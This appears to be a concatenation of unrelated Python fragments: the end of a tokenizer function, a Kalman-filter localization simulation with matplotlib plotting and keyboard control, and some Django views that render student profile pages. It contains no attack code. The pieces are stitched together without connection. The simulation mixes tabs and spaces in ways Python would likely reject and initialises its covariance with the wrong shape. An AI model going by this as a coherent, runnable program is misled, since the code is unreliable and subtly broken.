        file_words.extend(tknzr.tokenize(text))
    return file_words


import math

import matplotlib.pyplot as plt
import numpy as np
from matplotlib.patches import Circle

R = np.diag([
	0.05,  			# variance of location on x-axis
    	0.05,  			# variance of location on y-axis
    	np.deg2rad(0.5),  	# variance of yaw angle
]) ** 2  			# predict state covariance

R_sqrt = np.diag([
    	0.05,
    	0.05,
    	np.deg2rad(0.5),
])

Q = np.diag([
	0.1,
	0.1,
	np.deg2rad(1.0),
]) ** 2  			# Observation x,y position covariance

Q_sqrt = np.diag([
	0.1,
	0.1,
	np.deg2rad(1.0),
])

DT = 0.1  # time tick [s]
SIM_TIME = 50.0  # simulation time [s]
v = 0.0  # [m/s]
yawrate = 0.0  # [rad/s]
esc_flag = False
features = np.array([[0,1],[3,0],[2,4],[-3,3]])
feature_x = [0,3,2,-3]
feature_y = [1,0,4,3]

show_animation = True

def detection(x):
	n = 0
	for feature in features:
		print("feature")
		print(feature)
		if (feature[0] - x[0, 0])**2 + (feature[1] - x[1, 0])**2 <= 1.0:
			n = n+1
	return n

def calc_input():
    	#v = 1.0  # [m/s]
    	#yawrate = 0.1  # [rad/s]
    	u = np.array([[v], [yawrate]])
    	return u

def observation_model(x):
    	H = np.array([
        	[1, 0, 0],
        	[0, 1, 0],
        	[0, 0, 1],
    	])
    	z = H @ x
    	return z

def motion_model(x, u):
    	F = np.array([[1.0, 0, 0],
		[0, 1.0, 0],
                [0, 0, 1.0]])
    	B = np.array([[DT * math.cos(x[2, 0]), 0],
        	[DT * math.sin(x[2, 0]), 0],
                [0.0, DT]])
    	x = F @ x + B @ u
    	return x

def observation(xTrue, xd, u):
    	xTrue = motion_model(xTrue, u)
    	# add noise to input
    	xd = motion_model(xd, u) + R_sqrt @ np.random.normal(0,1,(3,1))
    	# add noise to gps x-y-theta
    	n = detection(xTrue)
    	z = observation_model(xTrue) + 1.0 / (n+1) * Q_sqrt @ np.random.normal(0,1,(3,1))
    	return xTrue, z, xd, n

def kf_estimation(xEst, PEst, z, u, n):
	#Q_t = 1.0 / (n+1)**2 * Q
	#R_t = abs(u[0,0]) * R
    	#  Predict
	xPred = motion_model(xEst, u)
	PPred = PEst + R
    	#  Update
	if n == 0:
    		xEst = xPred + R_sqrt @ np.random.normal(0,1,(3,1))
    		PEst = PPred
	else:
		K = PPred @ np.linalg.inv(PPred + Q)
		xEst = xPred + K @ (z - xPred)
		PEst = (np.eye(len(xEst)) - K) @ PPred
	return xEst, PEst

def plot_covariance_ellipse(xEst, PEst):  # pragma: no cover
	Pxy = PEst[0:2, 0:2]
	eigval, eigvec = np.linalg.eig(Pxy)

	if eigval[0] >= eigval[1]:
		bigind = 0
		smallind = 1
	else:
		bigind = 1
		smallind = 0

	t = np.arange(0, 2 * math.pi + 0.1, 0.1)
	a = math.sqrt(eigval[bigind])
	b = math.sqrt(eigval[smallind])
	x = [a * math.cos(it) for it in t]
	y = [b * math.sin(it) for it in t]
	angle = math.atan2(eigvec[bigind, 1], eigvec[bigind, 0])
	rot = np.array([[math.cos(angle), math.sin(angle)],
                    [-math.sin(angle), math.cos(angle)]])
	fx = rot @ (np.array([x, y]))
	px = np.array(fx[0, :] + xEst[0, 0]).flatten()
	py = np.array(fx[1, :] + xEst[1, 0]).flatten()
	plt.plot(px, py, "--r")

	t2 = np.arange(0, 2 * math.pi + 0.1, 0.1)
	x2 = [math.cos(it2) for it2 in t2]
	y2 = [math.sin(it2) for it2 in t2]
	fx2 = np.array([x2, y2])
	px2 = np.array(fx2[0, :] + xEst[0, 0]).flatten()
	py2 = np.array(fx2[1, :] + xEst[1, 0]).flatten()
	plt.plot(px2, py2, "--b")

	t3 = np.arange(0, 2 * math.pi + 0.1, 0.1)
	x3 = [0.1 * math.cos(it3) for it3 in t3]
	y3 = [0.1 * math.sin(it3) for it3 in t3]
	fx3 = np.array([x3, y3])
	px3 = np.array(fx3[0, :] + xEst[0, 0]).flatten()
	py3 = np.array(fx3[1, :] + xEst[1, 0]).flatten()
	plt.fill(px3,py3,'y')

def key_event(event):
	global v,yawrate,esc_flag
	if event.key == 'W':
		v += 0.1
	elif event.key == 'S':
		v -= 0.1
	elif event.key == 'A':
		yawrate += 0.3
	elif event.key == 'D':
		yawrate -= 0.3
	elif event.key == 'escape':
		esc_flag = True
	print(event.key)

def main():
	print(__file__ + " start!!")
	time = 0.0

    	# State Vector [x y theta]'
	xEst = np.zeros((3, 1))
	xTrue = np.zeros((3, 1))
	#PEst = np.eye(3)
	PEst = np.zeros((3, 1))
	xDR = np.zeros((3, 1))  # Dead reckoning

	# history
	hxEst = xEst
	hxTrue = xTrue
	hxDR = xTrue
	hz = np.zeros((3, 1))

	while SIM_TIME >= time:
		time += DT
		u = calc_input()
		xTrue, z, xDR, n = observation(xTrue, xDR, u)

		xEst, PEst = kf_estimation(xEst, PEst, z, u, n)
		print("time: " + str(time))
		print("n: " + str(n))
		print("PEst")
		print(PEst)
		'''print("xEst")
		print(xEst)
		print("xTrue")
		print(xTrue)'''

        	# store data history
		hxEst = np.hstack((hxEst, xEst))
		hxDR = np.hstack((hxDR, xDR))
		hxTrue = np.hstack((hxTrue, xTrue))
		hz = np.hstack((hz, z))

		if show_animation and not esc_flag:
			plt.cla()
            		# for stopping simulation with the esc key.
			plt.gcf().canvas.mpl_connect('key_release_event',key_event)
			plt.plot(feature_x, feature_y,"om")
			plt.plot(hxTrue[0, :].flatten(),hxTrue[1, :].flatten(), "-b")
			plt.plot(hxDR[0, :].flatten(),hxDR[1, :].flatten(), "-k")
			plt.plot(hxEst[0, :].flatten(),hxEst[1, :].flatten(), "-r")
			plot_covariance_ellipse(xEst, PEst)
			plt.axis("equal")
			plt.grid(True)
			plt.pause(1)

	print("END!")

if __name__ == '__main__':
	main()


from django.shortcuts import render

from pre_login.forms import LoginForm
from pre_login.forms import RegistrationForm
from pre_login.models import Personal_Details
from django.http import HttpResponseRedirect
from django.utils.datastructures import MultiValueDictKeyError

def student(request):
    information = Personal_Details.objects.all()
    # print(information.get(Student="True"))
    info = Personal_Details.objects.get(Email=request.session['Email'])
    details = {"username" : info.username, "Age" : info.Age, "City":
    info.City, "State": info.State, "Country" : info.Country, "Occupation" : info.Occupation}
    return render(request,'quizes/student.html', details)

def project_m(request):
    info = Personal_Details.objects.get(Email=request.session['Email'])
    details = {"username" : info.username, "Age" : info.Age, "City":
    info.City, "State": info.State, "Country" : info.Country, "Occupation" : info.Occupation}
    return render(request,'quizes/project_m.html', details)

def student_details(request):
    information = Personal_Details.objects.all().filter(Student="True")
    print(information)
    diction = {'username' : []}
    for user in information:
        diction.get('username').append(user.username)
        print(diction)

    return render(request, 'quizes/list_stu.html', diction)